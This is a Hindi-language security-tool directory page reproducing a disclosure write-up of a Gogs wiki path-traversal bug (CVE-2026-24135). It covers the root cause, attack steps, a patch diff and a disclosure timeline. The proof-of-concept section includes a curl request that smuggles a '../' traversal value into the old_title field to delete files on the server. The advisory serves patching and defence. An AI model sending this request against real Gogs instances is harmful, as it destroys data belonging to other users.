Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-24135 — Gogs में विकी पथ ट्रैवर्सल के माध्यम से मनमानी फ़ाइल हटाने की क्षमता | Kitploit
उपकरण/GitHubGitHub/reschjonas/cve-2026-24135
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubreschjonas/cve-2026-24135

CVE-2026-24135

Gogs में विकी पथ ट्रैवर्सल के माध्यम से मनमानी फ़ाइल हटाने की क्षमता

रिपॉजिटरी देखें
113 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-24135: Gogs में विकी पथ ट्रैवर्सल के माध्यम से मनमाना फ़ाइल विलोपन

गंभीरता: उच्च (CVSS 7.5)
प्रभावित सॉफ़्टवेयर: Gogs <= 0.13.3
पैच किया गया: 0.13.4, 0.14.0+dev
सलाह: GHSA-jp7c-wj6q-3qf2
पैच: gogs/gogs#8099


सारांश

Gogs (Go में लिखी गई एक लोकप्रिय स्व-होस्टेड Git सेवा) की सुरक्षा ऑडिट के दौरान, मुझे updateWikiPage फ़ंक्शन में एक पथ ट्रैवर्सल भेद्यता मिली। यह प्रमाणित उपयोगकर्ता को विकी लेखन पहुँच के साथ, विकी संपादन प्रपत्र के old_title पैरामीटर में पथ ट्रैवर्सल अनुक्रम इंजेक्ट करके सर्वर पर मनमानी फ़ाइलों को हटाने की अनुमति देता है।


मूल कारण

यह भेद्यता internal/database/wiki.go में असममित स्वच्छता दोष है। जब कोई विकी पृष्ठ अपडेट किया जाता है, तो फ़ंक्शन दो शीर्षक पैरामीटर को अलग-अलग तरीके से संभालता है:

पैरामीटरस्वच्छित?प्रयुक्त
title (नया नाम)हाँ — ToWikiPageName() के माध्यम सेpath.Join() फ़ाइल निर्माण के लिए
oldTitle (पिछला नाम)नहींpath.Join() + os.Remove()

संवेदनशील कोड

root@kitploit:~
// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← संवेदनशील
}

oldTitle मान बिना किसी पथ स्वच्छता के रूट हैंडलर के माध्यम से उपयोगकर्ता-नियंत्रित प्रपत्र इनपुट से सीधे os.Remove() में प्रवाहित होता है।


डेटा प्रवाह

root@kitploit:~
उपयोगकर्ता इनपुट (प्रपत्र)          रूट हैंडलर                    डेटाबेस फ़ंक्शन
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (अस्वच्छित)    │        │ wiki.go:246          │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ कोई स्वच्छता नहीं!│          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

आक्रमण वेक्टर

पूर्वापेक्षाएँ: किसी भी रिपॉजिटरी विकी पर लेखन पहुँच वाला प्रमाणित उपयोगकर्ता।

  1. किसी मौजूदा विकी पृष्ठ को संपादित करने के लिए नेविगेट करें
  2. /repo/wiki/edit पर POST अनुरोध को इंटरसेप्ट करें
  3. old_title प्रपत्र फ़ील्ड को पथ ट्रैवर्सल अनुक्रम (जैसे, ../../../../tmp/target_file) में संशोधित करें
  4. अनुरोध सबमिट करें
  5. सर्वर ट्रैवर्सल पथ को हल करता है और लक्ष्य फ़ाइल को हटा देता है

प्रूफ़ ऑफ़ कॉन्सेप्ट

root@kitploit:~
# Step 1: प्रमाणित करें और विकी पृष्ठ बनाएं/संपादित करें
# Step 2: POST अनुरोध को इंटरसेप्ट करें और old_title में ट्रैवर्सल इंजेक्ट करें

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# परिणाम: /tmp/target_file.md सर्वर से हटा दिया गया है

.md एक्सटेंशन स्वचालित रूप से जुड़ जाता है। कोई भी फ़ाइल जो .md में समाप्त होती है और जिस पर Gogs प्रक्रिया के पास लिखने की अनुमति है, उसे हटाया जा सकता है।


प्रभाव

प्रभावविवरण
मनमाना फ़ाइल विलोपनकिसी भी .md फ़ाइल को हटाएं जिसे Gogs प्रक्रिया लिख सकती है
सेवा अस्वीकारमहत्वपूर्ण कॉन्फ़िगरेशन या डेटा फ़ाइलें हटाएं
डेटा हानिअन्य उपयोगकर्ताओं के विकी पृष्ठ, दस्तावेज़ीकरण, या रिपॉजिटरी फ़ाइलें नष्ट करें
संभावित विस्तारअन्य भेद्यताओं के साथ श्रृंखलित किया जा सकता है, जिससे और समझौता हो सकता है

फिक्स

oldTitle पर वही ToWikiPageName स्वच्छता लागू करें जो पहले से title पर लागू है:

root@kitploit:~
 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... मौजूदा कोड ...

     title = ToWikiPageName(title)

+    // पथ ट्रैवर्सल को रोकने के लिए oldTitle को स्वच्छ करें
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }

मैंने प्रकटीकरण के दौरान यह फिक्स प्रस्तावित किया और Gogs अनुरक्षकों ने इसे PR #8099 में लागू किया।


प्रकटीकरण समयरेखा

तिथिघटना
2025-12-13सुरक्षा ऑडिट के दौरान भेद्यता की खोज
2025-12-13GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2) के माध्यम से सलाह प्रस्तुत
2026-01-20Gogs अनुरक्षकों के साथ फ़ॉलो-अप
2026-01-20अनुरक्षक ने भेद्यता स्वीकार की
2026-01-22पैच मर्ज किया गया (#8099)
2026-01-22CVE-2026-24135 GitHub द्वारा असाइन किया गया
2026-02-06सार्वजनिक प्रकटीकरण

संदर्भ

  • GitHub Security Advisory: GHSA-jp7c-wj6q-3qf2
  • पैच: gogs/gogs#8099
  • Gogs प्रोजेक्ट
टूल डाउनलोड करें